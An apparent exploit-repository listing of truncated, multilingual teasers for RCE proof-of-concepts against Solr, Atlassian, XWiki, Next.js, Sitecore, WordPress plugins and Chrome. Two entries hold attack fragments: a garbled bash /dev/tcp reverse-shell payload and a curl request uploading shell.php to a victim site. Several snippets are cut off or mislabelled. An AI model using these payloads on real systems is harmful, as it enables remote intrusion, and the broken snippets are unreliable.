CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd und Crowd Data Center RCE Verwendung: python CVE-2019-11580.py http://xx.xx.xx.xx/ Crowd-2.11.0 VulnVersion Download https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0 Build:725 -...

CVE-2025-66956

CVE-2025-66956 Eine unsichere Zugriffskontrolle in den Komponenten Contact Plan, E-Mail, SMS und Fax in Asseco SEE Live 2.0 ermöglicht Remote-Angreifern, über eine berechenbare URL auf Anhänge zuzugreifen und diese auszuführen. CVSS-Vektoren CVSS 3.1: 9.8,...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Sicherheitslücke zur Remote-Codeausführung durch CGI-Befehlsinjektion in Webmin...

gosign-desktop-exploit-poc

Multiple Vulnerabilities in GoSign Desktop leads to Remote Code Execution Name: TLS Verification Bypass and Insecure Update in GoSign Desktop CVEs: CVE-2025-34324, CVE-2025-34327 System Affected: GoSign Desktop = 2.4.0 Fix: FoSign Desktop 2.4.1 partially fixed Vendor: Tinexta InfoCert S.p.A...

xwiki-cve-2025-24893-exploit

Exploit per XWiki CVE-2025-24893 Exploit di Esecuzione Remota di Codice non autenticato per le versioni di XWiki vulnerabili a CVE-2025-24893. Panoramica della Vulnerabilità Le versioni di XWiki precedenti alla 15.10.9 sono vulnerabili a RCE non autenticata tramite l'iniezione di script Groovy ne...

krle

REACT2SHELL CVE-2025-55182 React2Shell CVE-2025-55182 è una catena di vulnerabilità critica di esecuzione remota di codice RCE che colpisce le applicazioni Next.js che utilizzano Server Actions. La vulnerabilità sfrutta una vulnerabilità di prototype pollution in combinazione con Server Actions p...

CVE-2025-26686-poc-A-critical-RCE-vulnerability-in-Windows-TCP-IP-stack

Questa PoC è stata validata in un ambiente controllato e isolato air-gapped. I dettagli sensibili dello sfruttamento sono stati rimossi tagliati — contatta il manutentore per l'accesso se hai un'autorizzazione scritta...

CVE-2025-53694-to-CVE-2025-53691

Sitecore CVE-Ketten-Exploits Dieses Repository enthält Proof-of-Concept-Exploits für eine kritische Schwachstellenkette in Sitecore Experience Platform XP-Versionen bis 10.4.1. Schwachstellen CVE-2025-53694: Offenlegung von Informationen CVE-2025-53693: Cache-Vergiftung CVE-2025-53691:...

CVE-2019-9978-RCE-PoC

CVE-2019-9978 RCE PoC – Exploit del Plugin Social Warfare per WordPress Inclusione Remota di File RFI non autenticata verso Esecuzione Remota di Codice RCE 📌 Descrizione Questo repository contiene un Proof of Concept PoC basato su Python che dimostra lo sfruttamento di CVE-2019-9978 , una...

CVE-2025-12973

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Generatore di Contenuti e Immagini = 1.7.7 - Autenticato Editor+ Caricamento Arbitrario di File Il plugin WordPress S2B AI Assistant versioni 2.47 e precedenti contiene una vulnerabilità di caricamento arbitrario di file che consente agli utenti...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" Details Die Schwachstelle existiert in der Methode updateqrcode der Klasse...

CVE-2024-7591-PoC

CVE-2024-7591-PoC Estes scripts Python PoC testam o Kemp LoadMaster para execução remota de código. ESTA FERRAMENTA DESTINA-SE APENAS A FINS DE TESTE Estes scripts foram baseados no artigo de Marius Walter sobre os detalhes desta exploração. Pode ler o seu post em:...

CVE-2025-53691

CVE-2025-53691: Esecuzione di codice in remoto RCE tramite deserializzazione insicura Lo stesso meccanismo di reflection in AjaxScriptManager può essere utilizzato per invocare il metodo ProcessSerializedData. Questo metodo deserializza un payload fornito utilizzando l'insicuro BinaryFormatter,...

CVE-2023-22524

إثبات المفهوم لثغرة تنفيذ التعليمات البرمجية عن بُعد في Atlassian Companion CVE-2023-22524 نظرة عامة يحتوي هذا المستودع على إثبات مفهوم PoC لثغرة تنفيذ التعليمات البرمجية عن بُعد التي تم اكتشافها مؤخرًا في تطبيق Atlassian Companion لنظام macOS، والمعروفة باسم CVE-2023-22524. تسمح هذه المشكلة الحر...

CVE-2025-5781

Exploit FreePBX CVE-2025-57819 Descrizione Questo script sfrutta una vulnerabilità nelle versioni di FreePBX precedenti alla 16.0.26.0 CVE-2025-57819, consentendo a un attaccante remoto di eseguire codice PHP arbitrario tramite una falla di SQL injection nell'endpoint API AJAX. L'exploit crea sia...

React2ShellPoC

CVE-2025-55182 React2Shell को समझना: रिएक्ट सर्वर घटकों के माध्यम से रिमोट कोड निष्पादन की गहन जांच अवलोकन CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड निष्पादन RCE कमजोरी है जो React Server Components को प्रभावित करती है। यह त्रुटि React के Flight प्रोटोकॉल में...

CVE-2025-24893

CVE-2025-24893 – Esecuzione di codice remoto RCE su XWiki Panoramica CVE-2025-24893 è una vulnerabilità critica di esecuzione di codice remoto RCE non autenticata in XWiki , una piattaforma wiki enterprise open-source ampiamente utilizzata. Il difetto esiste nella macro SolrSearch, che valuta...

DEBIAN-CVE-2026-79275

Use after free in ANGLE in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

DEBIAN-CVE-2026-79257

Use after free in Views in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...